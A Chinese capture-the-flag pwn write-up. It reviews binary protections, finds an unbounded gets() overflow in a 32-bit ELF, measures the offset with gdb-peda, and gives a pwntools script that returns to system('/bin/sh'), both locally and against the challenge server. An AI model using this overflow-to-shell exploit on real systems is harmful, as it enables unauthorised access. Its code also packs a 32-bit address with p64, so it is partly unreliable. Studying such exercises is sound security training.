基本信息查詢
Stack:這裏沒有開啓Stack保護,如果開啓的話會在棧中的返回地址前放一個隨機值,如果被覆蓋,程序就會報錯退出
NX:沒有開啓,如果開啓的話就不能讓IP寄存器指向堆、棧
這裏顯示這是一個ELF32位的程序
運行後發現需要input
canary(棧保護)
當啓用棧保護後,函數開始執行的時候會先往棧底插入 cookie
信息,當函數真正返回的時候會驗證 cookie 信息是否合法 (棧幀銷燬前測試該值是否被改變),如果不合法就停止程序運行
(棧溢出發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 信息給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode
的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱爲 Canary。
PIE
如果程序開啓了PIE保護的話,在每次加載程序時都變換加載地址
NX(DEP)
NX即No-eXecute(不可執行)的意思,限制一塊內存區域不可執行。
ASLR
ASLR(地址隨機化)是一種針對緩衝區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。
但是,地址隨機化不是對所有模塊和內存區都進行隨機化!雖然libc、棧、堆的加載位置被隨機化,但主鏡像不會。
鏈接:https://www.jianshu.com/p/4231b886ded5
接着使用IDA分析
F5,查看僞代碼
發現get函數沒有限制長度,這裏有溢出
接着找到
找到system(“/bin/sh”)地址就可以構造exp
我們這裏知道了gets函數讀取無限制的用戶輸入到棧上,還有get函數的地址,接下來要確認輸入到多少位可以覆蓋到返回地址
創建隨機的字符:
gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
run運行,然後輸入剛纔獲取的字符,程序會報錯
用pattern_offset命令算出偏移(填入報錯的地址):
編寫本地的exp:
from pwn import * #p=process("/home/luo/pwn/vul") p.sendline('b'*60 + p64(0x08048503)) p.interactive()
成功後繼續編寫遠程的exp:
#根據題目給的ip和端口遠程連接 from pwn import * p = remote('120.79.17.251','10001') p.sendline('b'*60 + p64(0x08048503)) p.interactive()
運行exp: